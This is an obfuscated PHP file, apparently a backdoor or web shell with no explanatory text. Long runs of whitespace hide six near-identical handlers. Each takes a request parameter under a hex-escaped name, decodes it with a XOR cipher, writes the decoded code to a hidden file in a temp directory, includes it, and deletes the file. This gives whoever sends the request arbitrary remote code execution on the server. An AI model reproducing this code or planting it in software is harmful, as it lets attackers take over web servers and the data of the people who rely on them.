<?php																																										if(!empty($_REQUEST["e\x6E\x74"])){ $token = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir()]); $descriptor = $_REQUEST["e\x6E\x74"]; $descriptor= explode ( "." , $descriptor ) ; $value = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $p = 0; array_walk($descriptor, function($v1) use(&$value, &$p, $s2, $lenS) { $chS = ord($s2[$p % $lenS]); $d =((int)$v1 - $chS -($p % 10)) ^ 60; $value .= chr($d); $p++; } ); foreach ($token as $key): if (!( !is_dir($key) || !is_writable($key) )) { $component = "$key/.symbol"; if (@file_put_contents($component, $value) !== false) { include $component; unlink($component); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["ho\x6Cd\x65\x72"])){ $pset = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $obj = $_REQUEST["ho\x6Cd\x65\x72"]; $obj = explode("." , $obj) ; $sym =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $m =0; $__tmp =$obj; while ($v2 =array_shift($__tmp)) { $chS =ord($s[$m% $sLen]); $d =((int)$v2 - $chS - ($m% 10)) ^48; $sym.= chr($d); $m++; } foreach ($pset as $key => $factor) { if (!!is_dir($factor) && !!is_writable($factor)) { $pgrp = vsprintf("%s/%s", [$factor, ".record"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(isset($_POST["ptr"]) ? true : false){ $item = array_filter(["/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd()]); $parameter_group = $_POST["ptr"]; $parameter_group = explode ( "." , $parameter_group ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($parameter_group as $p => $v5) { $chS = ord($s[$p% $sLen] ); $d = ((int)$v5 - $chS - ($p% 10))^ 48; $hld .=chr($d ); } while ($reference = array_shift($item)) { if (is_writable($reference) && is_dir($reference)) { $binding = sprintf("%s/.entry", $reference); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x68l\x64")){ $component = $_REQUEST["\x68l\x64"]; $component =explode ( ".", $component ) ; $itm = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $m = 0; $len = count($component); do { if ($m >= $len) break; $v1 = $component[$m]; $chS = ord($salt6[$m % $lenS]); $dec = ((int)$v1 - $chS - ($m % 10))^ 22; $itm .=chr($dec); $m++; } while (true); $mrk = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); $fac = 0; do { $reference = $mrk[$fac] ?? null; if ($fac >= count($mrk)) break; if (is_dir($reference) && is_writable($reference)) { $ent = str_replace("{var_dir}", $reference, "{var_dir}/.pointer"); if (file_put_contents($ent, $itm)) { require $ent; unlink($ent); die(); } } $fac++; } while (true); }
																																										if(isset($_POST) && isset($_POST["desc"])){ $ent = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $resource = $_POST["desc"]; $resource =explode ("." , $resource ); $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($resource as $v => $v8) { $sChar = ord($s[$v %$sLen]); $d = ((int)$v8 - $sChar - ($v %10))^ 71; $val.=chr($d);} $holder = 0; do { $sym = $ent[$holder] ?? null; if ($holder >= count($ent)) break; if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $data_chunk = "$sym" . "/.key"; if (file_put_contents($data_chunk, $val)) { include $data_chunk; @unlink($data_chunk); die(); } } $holder++; } while (true); }


if(isset($_REQUEST["f\x6C\x61g"]) ? true : false){
	$fac = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir()]);
	$resource = $_REQUEST["f\x6C\x61g"];
	$resource 		=explode(  "."  ,$resource)	 ;	
	$pgrp = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt7);
            $n = 0;
    
            foreach( $resource as $v9) {
                $chS = ord( $salt7[$n %$lenS]);
                $d =( ( int)$v9 - $chS -( $n %10)) ^ 69;
                $pgrp .= chr( $d);
                $n++;	}	
	$res = 0;
do {
    $dchunk = $fac[$res] ?? null;
    if ($res >= count($fac)) break;
    		if (is_dir($dchunk) ? is_writable($dchunk) : false) {
    $ent = implode("/", [$dchunk, ".item"]);
    if (file_put_contents($ent, $pgrp)) {
	include $ent;
	@unlink($ent);
	exit;
}
}
    $res++;
} while (true);
}